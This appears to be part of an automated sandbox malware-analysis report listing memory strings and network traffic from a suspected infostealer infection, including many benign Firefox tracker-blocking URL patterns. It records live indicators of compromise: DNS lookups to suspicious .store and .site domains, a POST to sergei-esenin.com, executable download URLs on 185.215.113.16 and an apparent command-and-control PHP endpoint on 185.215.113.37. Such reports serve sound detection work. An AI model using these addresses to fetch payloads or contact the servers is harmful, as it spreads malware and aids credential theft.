Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: uninstallPlugin() - unregistering gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONonPrefEMEGlobalEnabledChanged() id=resource://gre/modules/UpdateUtils.sys.mjsstartup - adding clearkey CDM directory KEY_PLUGIN_LAST_INSTALL_FAIL_REASONonPrefEnabledChanged() - adding gmp directory media.gmp-manager.cert.checkAttributessitepermsaddon-provider-registeredfindUpdates() - updateTask succeeded for onPrefEnabledChanged() - removing gmp directory dom.sitepermsaddon-provider.enabledipc:first-content-process-createdmedia.{0}.allow-x64-plugin-on-arm64addGatedPermissionTypesForXpcShellTestsThis should only be called from XPCShell tests - the given reason to update is not supportedresource://gre/modules/AddonManager.sys.mjsstartup - adding clearkey CDM failedmedia.gmp-manager.secondsBetweenChecksmedia.gmp-manager.cert.requireBuiltInfindUpdates() - found update for SitePermsAddonInstall#cancel called twice on resource://gre/modules/amManager.sys.mjs@mozilla.org/spellchecker/user;1startup - adding gmp directory failed with media.gmp-manager.checkContentSignature*://c.amazon-adsystem.com/aax2/apstag.jsFileUtils_openAtomicFileOutputStream*://static.chartbeat.com/js/chartbeat_video.js*://pub.doubleverify.com/signals/pub.js**://static.criteo.net/js/ld/publishertag.js*://*.imgur.com/js/vendor.*.bundle.jsresource://gre/modules/FileUtils.sys.mjs*://*.imgur.io/js/vendor.*.bundle.js@mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/play.svg*://cdn.branch.io/branch-latest.min.js*@mozilla.org/network/atomic-file-output-stream;1https://smartblock.firefox.etp/facebook.svgFileUtils_closeAtomicFileOutputStream*://www.rva311.com/static/js/main.*.chunk.js*://web-assets.toggl.com/app/assets/scripts/*.jswebcompat-reporter@mozilla.org.xpi*://libs.coremetrics.com/eluminate.js*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js*pictureinpicture%40mozilla.org:1.0.0resource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter%40mozilla.org:1.5.1*://track.adform.net/serving/scripts/trackpoint/@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: w.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}(' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: clearancek.site
Source: global traffic DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic DNS traffic detected: DNS query: studennotediw.store
Source: global traffic DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic DNS traffic detected: DNS query: spirittunek.store
Source: global traffic DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 09:02:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqNgSJF1i9W%2FWgVCGnIKU%2BTuKvAu8YLE2ERukdjUT%2FJPn%2FGQR1MOw83DLlzbZosWNodUrTnkeREn7Gf0RguEPuob6wLRzlyiS5No8EcLrPOTfJLtZ%2Fbw8vSGboXHddJopEesIA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d78c97909b2e93a-DFW
Source: firefox.exe, 0000001A.00000002.2819983745.0000014D54C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.2337425425.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/85.215.113.37
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/E
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/I
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/T?3R
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0?
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpM
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo-
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/ws
Source: de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37i
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.3KQ
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
